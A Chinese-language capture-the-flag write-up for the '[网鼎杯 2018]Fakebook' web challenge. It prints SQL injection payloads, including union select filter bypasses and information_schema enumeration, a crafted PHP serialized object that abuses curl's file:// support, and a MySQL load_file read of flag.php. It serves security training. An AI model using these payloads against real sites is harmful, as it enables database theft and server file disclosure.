web:[网鼎杯 2018]Fakebook

题目

web:[网鼎杯 2018]Fakebook_第1张图片

点进页面,页面显示为

web:[网鼎杯 2018]Fakebook_第2张图片

查看源代码

web:[网鼎杯 2018]Fakebook_第3张图片

用dirsearch扫一下,看一下有什么敏感信息泄露

web:[网鼎杯 2018]Fakebook_第4张图片

web:[网鼎杯 2018]Fakebook_第5张图片

扫出另一个flag.php和robots.txt,访问flag.php回显内容为空

web:[网鼎杯 2018]Fakebook_第6张图片

请求robots.txt

web:[网鼎杯 2018]Fakebook_第7张图片

网页提示/user.php.bak,直接访问会自动下载.bak备份文件

进行代码审计

web:[网鼎杯 2018]Fakebook_第8张图片

web:[网鼎杯 2018]Fakebook_第9张图片

通过get获得指定的URL,设置curl 参数,并将指定URL的内容返回,只要返回内容不为404即可

对输入的blog进行正则匹配

先随便注册一个

web:[网鼎杯 2018]Fakebook_第10张图片

注册完了之后会自动跳转页面

web:[网鼎杯 2018]Fakebook_第11张图片

点击admin

web:[网鼎杯 2018]Fakebook_第12张图片

这里注意到url里传参为no=1,可能为sql注入

输入单引号测试一下,回显为报错

存在注入,判断字段数

构造payload

1 order by 5#

web:[网鼎杯 2018]Fakebook_第13张图片

5时报错,所以有4个字段

这里用了union select,发现被过滤了

web:[网鼎杯 2018]Fakebook_第14张图片

这里可用union/**/select或者union all select绕过判断

使用select查询回显点,这里把1改掉,要不然看不到回显

构造payload

9 union/**/select 1,2,3,4#

web:[网鼎杯 2018]Fakebook_第15张图片

发现2是注入点

还有序列化

发现注入点后,爆数据库

构造payload

9 union all select 1,database(),3,4

数据库名为fakebook

web:[网鼎杯 2018]Fakebook_第16张图片爆表名

9 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

web:[网鼎杯 2018]Fakebook_第17张图片

爆列

9 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

web:[网鼎杯 2018]Fakebook_第18张图片

这里需要注意因为数据库里不只这一个库里包含users表,后面大写的是其他数据库里的users表内容

猜测信息在data里,爆里面的内容

9 union all select 1,group_concat(data),3,4 from fakebook.users

web:[网鼎杯 2018]Fakebook_第19张图片

这一串序列化的结果为注册的账号,被序列化输出,结合之前的代码审计结果

进行序列化,curl可用file协议,所以这里使用file协议读取文件。file:///var/www/html/flag.php

利用源码进行序列化构造后传入

web:[网鼎杯 2018]Fakebook_第20张图片

但是之前爆列名的时候没有blog,所以我们要设置的点就是data那里了,所以在第四列进行注入,需要把序列化的句子包在单引号里

构造payload

9 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

web:[网鼎杯 2018]Fakebook_第21张图片

查看源码

进行base64解码

web:[网鼎杯 2018]Fakebook_第22张图片

非预期解法

web:[网鼎杯 2018]Fakebook_第23张图片

这里得到绝对路径

mysql中的load_file函数,允许访问系统内任意文件并将内容以字符串形式返回,不过需要高权限,且函数参数要求文件的绝对路径,绝对路径猜测是/var/www/html/flag.php

构造payl

9 union/**/select 1,load_file('/var/www/html/flag.php'),3,4

web:[网鼎杯 2018]Fakebook_第24张图片

查看源码得到flag

web:[网鼎杯 2018]Fakebook_第25张图片

参考文章链接:
【精选】[网鼎杯 2018]Fakebook-CSDN博客

https://www.cnblogs.com/ling-lz/articles/15379058.html

[网鼎杯 2018]Fakebook——SSRF/反序列化漏洞/SQL注入_sGanYu的博客-CSDN博客

你可能感兴趣的:(BUUCTF-WEB,数据库,网络安全,sql,web)